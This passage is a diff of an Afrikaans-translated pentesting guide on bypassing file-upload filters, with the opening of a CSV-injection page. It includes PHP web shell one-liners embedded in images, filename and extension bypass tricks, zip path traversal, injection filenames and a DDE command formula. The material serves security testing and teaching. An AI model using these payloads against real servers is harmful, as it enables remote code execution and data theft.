7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Laat ons sê 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,46 +59,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
### Bypass Content-Type, Magic Number, Compression & Resizing
- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Oorbrug **magic nommer** kontrole deur die **bytes van 'n werklike beeld** aan die begin van die lêer toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
- Om **Content-Type** kontroles te omseil deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Om **magic number** kontrole te omseil deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hervergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Ander Tricks om te kontroleer
### Other Tricks to check
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
- **Mogelijke Inligting openbaar**:
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Spesiale uitbreiding tricks
### Special extension tricks
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** trick om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** trick om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
## **Jetty RCE**
As jy 'n XML lêer na 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML lêer na `$JETTY_BASE/webapps/` en verwag die shell!
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ As jy 'n XML lêer na 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as 'n mens die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
@ -128,12 +128,12 @@ characters = @(call://uwsgi_func)
```
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
Dit is van kardinale belang om die losser aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
Dit is van kardinale belang om die los natuur van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
## **wget Lêer Laai/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld **".gif"** is 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
## Gereedskap
@ -164,21 +164,21 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil
## Van lêeroplaad na ander kwesbaarhede
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md))
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** gaan **gestoor** word op 'n **publieke** webwerf, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
- Kyk of daar enige **groottegrens** is vir die oplaai van lêers
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik.
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik.
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik.
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md)).
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** uitbuiting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload).
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files).
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet).
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf gaan **gestoor** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md).
- Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het.
- Kyk of daar enige **groottegrens** is wanneer lêers opgelaai word.
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om deur gidse te beweeg.
3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
```bash
:set modifiable
@ -289,29 +289,29 @@ pop graphic-context
```
## Inbedde PHP Shell in PNG
Die inbeddding van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
Die inbedde van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Lêers
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) voorgestel word, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurlike dualiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Laai geldige JSON's op soos asof dit PDF was
### Laai geldige JSON's op asof dit PDF was
Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer te faksineer (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer na te maak (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` biblioteek**: Solank die `%PDF` magiese bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit pos)
- **`pdflib` biblioteek**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos)
- **`file` binêre**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan die aanvanklike deel van 'n werklike PDF binne die JSON en dit sal dink dit is 'n PDF
- **`pdflib` biblioteek**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos)
- **`file` binêre**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
## Verwysings

View File

@ -6,10 +6,10 @@
### Info
As jou **invoer** binne **CSV-lêer**s (of enige ander lêer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** invoeg wat **uitgevoer** sal word wanneer die gebruiker die **lêer** **oopmaak** of wanneer die gebruiker op 'n **skakel** binne die Excel-skaal **klik**.
As jou **invoer** binne **CSV-lêer**s (of enige ander lêer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** plaas wat **uitgevoer** sal word wanneer die gebruiker die **lêer** **oopmaak** of wanneer die gebruiker op 'n **skakel** binne die Excel-sigblad **klik**.
> [!CAUTION]
> Vandag **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese aangewend word vir die finale payload.
> Vandag **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om hom te verhoed om kwaadwillige aksies te neem. Daarom moet spesiale moeite in Sosiale Ingenieurswese aangewend word vir die finale payload.
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
@ -22,14 +22,14 @@ DDE ("cmd";"/C calc";"!A0")A0
```
### Hyperlink
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-sheet te onttrek en om versoeke na arbitrêre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoestemmings aanvaar).**
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-skaak te onttrek en om versoeke na arbitrêre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoestemmings aanvaar).**
Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om student besonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde bedoel vir student besonderhede in te voer. Die aanval ontvou soos volg:
Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentedetails te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir studentedetails bedoel is, in te voer. Die aanval ontvou soos volg:
